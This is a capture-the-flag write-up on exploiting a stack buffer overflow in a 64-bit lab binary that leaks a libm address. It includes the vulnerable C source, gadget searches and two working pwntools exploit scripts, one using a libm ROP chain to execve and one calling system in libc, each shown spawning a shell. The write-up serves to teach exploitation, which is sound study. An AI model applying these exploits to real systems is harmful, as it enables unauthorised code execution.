64 bits ROP inside LIBC/LIBM
Summary
Obtain shell by either executing a ROP chain within libm
to call execve
, or by directly invoking the system
function within libc
.
Challenge
Challenge from https://github.com/hackutt-ctf/exercices_pwn.
ropchain2
ropchain2.c
Writeup
General information about the binary:
$ file ropchain2
ropchain2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2c6fac9007a0e13f2ca1978d85d974afb7fd03d9, not stripped
$ pwn checksec ropchain2
[*] '/home/xanhacks/PWN/exercices_pwn/precompiled/ropchain2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ASLR
and PIE
are active, yet the absence of a canary suggests vulnerability to a buffer overflow.
Source code of ropchain2.c
:
#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char yours[8];
printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");
return 0;
}
Analyzing the source code reveals that the address of the fabs
function from math.h
, indicating a leak in libm
. This leak can be exploited to bypass ASLR
. The source code also reveals a buffer overflow vulnerability in the gets
function. This function, notorious for its lack of bounds checking, reads input into the yours
array, which is only 8 characters long.
This challenge can be approached in two distinct ways:
- Implement ROP within
libm
to executeexecve("/bin/sh", 0, 0)
. - Execute
system("/bin/sh")
from withinlibc
.
We will explore both techniques.
1. ROP within libm
to call execve
The aim here is to construct a execve("/bin/sh", 0, 0)
call by utilizing ROP gadgets within libm
. To find these gadgets, we can use ROPgadget
:
$ ROPgadget --binary /usr/lib/libm.so.6 | grep ': pop rax ; ret$'
0x000000000001f2ce : pop rax ; ret
$ ROPgadget --binary /usr/lib/libm.so.6 | grep ': syscall$'
0x000000000003e2bd : syscall
# [...]
In summary, with the leakage of libm
, the available gadgets, and the buffer overflow vulnerability, the only missing piece is the string /bin/sh
.
gef➤ vmmap
Start End Offset Perm Path
[...]
0x00007ffff7e9c000 0x00007ffff7eac000 0x0000000000000000 r-- /usr/lib/libm.so.6
0x00007ffff7eac000 0x00007ffff7f2b000 0x0000000000010000 r-x /usr/lib/libm.so.6
0x00007ffff7f2b000 0x00007ffff7f87000 0x000000000008f000 r-- /usr/lib/libm.so.6
0x00007ffff7f87000 0x00007ffff7f88000 0x00000000000ea000 r-- /usr/lib/libm.so.6
0x00007ffff7f88000 0x00007ffff7f89000 0x00000000000eb000 rw- /usr/lib/libm.so.6
gef➤ search-pattern 0x00007ffff7e9c000,0x00007ffff7f89000,"/bin/sh"
[+] Searching '0x00007ffff7e9c000,0x00007ffff7f89000,/bin/sh' in memory
Unfortunately, the /bin/sh
string is not present in the libm
library. However, we can leverage the second range of addresses, which have RW
permissions, to write /bin/sh
into memory and pop it into rdi
using our ROP chain.
There is the final solve script that executes the final ROP chains with all the required addreses.
Solve script:
from pwn import *
BOF_OFFSET = 16
libm = ELF("/usr/lib/libm.so.6")
p = process("./ropchain2")
SYM_FABS = libm.symbols["fabsf64"]
ASLR_FABS = int(p.recvline().decode().split(": ")[-1], 16)
print(f"ASLR_FABS: {hex(ASLR_FABS)}")
ASLR_OFFSET = ASLR_FABS - SYM_FABS
print(f"ASLR_OFFSET: {hex(ASLR_OFFSET)}")
W_ADDR = ASLR_FABS + 0xbc530
print(f"W_ADDR: {hex(W_ADDR)}")
BIN_SH = b"/bin/sh\x00"
"""libm
0x000000000001f2ce : pop rax ; ret
0x0000000000032416 : pop rdi ; ret
0x0000000000043801 : pop rdx ; ret
0x00000000000273ff : pop rcx ; ret
0x000000000001d763 : pop rsi ; ret
0x000000000008a9ba : mov qword ptr [rcx], rdx ; ret
0x000000000003e2bd : syscall
"""
pop_rax = p64(0x000000000001f2ce + ASLR_OFFSET)
pop_rdi = p64(0x0000000000032416 + ASLR_OFFSET)
pop_rdx = p64(0x0000000000043801 + ASLR_OFFSET)
pop_rcx = p64(0x00000000000273ff + ASLR_OFFSET)
pop_rsi = p64(0x000000000001d763 + ASLR_OFFSET)
mov_rcx_rdx = p64(0x000000000008a9ba + ASLR_OFFSET)
syscall = p64(0x000000000003e2bd + ASLR_OFFSET)
print(f"pop_rax: {hex(u64(pop_rax))}")
print(f"pop_rdi: {hex(u64(pop_rdi))}")
print(f"pop_rdx: {hex(u64(pop_rdx))}")
print(f"pop_rcx: {hex(u64(pop_rcx))}")
print(f"pop_rsi: {hex(u64(pop_rsi))}")
print(f"mov_rcx_rdx: {hex(u64(mov_rcx_rdx))}")
print(f"syscall: {hex(u64(syscall))}")
input("Press Enter to continue...")
# BOF
payload = b"A" * BOF_OFFSET
# rcx = W_ADDR
payload += pop_rcx + p64(W_ADDR)
# rdx = "/bin/sh"
payload += pop_rdx + BIN_SH
# mov [rcx], rdx
payload += mov_rcx_rdx
# rax = 0x3b
payload += pop_rax + p64(0x3b)
# rdi = @ bin_sh
payload += pop_rdi + p64(W_ADDR)
# rsi = 0
payload += pop_rsi + p64(0)
# rdx = 0
payload += pop_rdx + p64(0)
payload += syscall
p.sendline(payload)
p.interactive()
Execution:
$ python3 xpl_ropchain2.py
[*] '/usr/lib/libm.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './ropchain2': pid 12607
ASLR_FABS: 0x7f4b92930ad0
ASLR_OFFSET: 0x7f4b92901000
W_ADDR: 0x7f4b929ed000
pop_rax: 0x7f4b929202ce
pop_rdi: 0x7f4b92933416
pop_rdx: 0x7f4b92944801
pop_rcx: 0x7f4b929283ff
pop_rsi: 0x7f4b9291e763
mov_rcx_rdx: 0x7f4b9298b9ba
syscall: 0x7f4b9293f2bd
Press Enter to continue...
[*] Switching to interactive mode
How about yours? Let's see how they stack up.
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)
2. ROP within libc
to call system
To achieve the objective of calling system("/bin/sh")
, we can determine the base address of libc
by subtracting a specific offset from the base address of libm
. Since the string /bin/sh
already exists within libc
, our ROP chain can be simplified significantly. The primary task of the ROP chain will be to assign the address of /bin/sh
to the rdi
register.
Here is the final script that executes the necessary ROP chain to correctly set up the /bin/sh
parameter for the system
function:
from pwn import *
BOF_OFFSET = 16
libm = ELF("/usr/lib/libm.so.6")
libc = ELF("/usr/lib/libc.so.6")
p = process("./ropchain2")
SYM_FABS = libm.symbols["fabsf64"]
SYM_SYSTEM = libc.symbols["system"]
SYM_BIN_SH = next(libc.search(b"/bin/sh"))
LIBM_LIBC_OFFSET = 0x00007fad99c48000 - 0x00007fad99e2a000
print(f"LIBM_LIBC_OFFSET: {hex(LIBM_LIBC_OFFSET)}")
FABS_ADDR = int(p.recvline().decode().split(": ")[-1], 16)
ASLR_OFFSET = FABS_ADDR - SYM_FABS
SYSTEM_ADDR = ASLR_OFFSET + SYM_SYSTEM + LIBM_LIBC_OFFSET
BIN_SH_ADDR = ASLR_OFFSET + SYM_BIN_SH + LIBM_LIBC_OFFSET
print(f"FABS_ADDR: {hex(FABS_ADDR)}")
print(f"ASLR_OFFSET: {hex(ASLR_OFFSET)}")
print(f"SYSTEM_ADDR: {hex(SYSTEM_ADDR)}")
print(f"BIN_SH_ADDR: {hex(BIN_SH_ADDR)}")
"""libm
0x000000000001001a : ret
0x0000000000032416 : pop rdi ; ret
"""
ret = p64(0x000000000001001a + ASLR_OFFSET)
pop_rdi = p64(0x0000000000032416 + ASLR_OFFSET)
input("Press Enter to continue...")
payload = b"A" * BOF_OFFSET
payload += ret
payload += pop_rdi
payload += p64(BIN_SH_ADDR)
payload += p64(SYSTEM_ADDR)
p.sendline(payload)
p.interactive()
Execution:
$ python3 xpl_system.py
[*] '/usr/lib/libm.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './ropchain2': pid 19061
LIBM_LIBC_OFFSET: -0x1e2000
FABS_ADDR: 0x7f6bf5236ad0
ASLR_OFFSET: 0x7f6bf5207000
SYSTEM_ADDR: 0x7f6bf5074760
BIN_SH_ADDR: 0x7f6bf51bfe34
Press Enter to continue...
[*] Switching to interactive mode
How about yours? Let's see how they stack up.
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)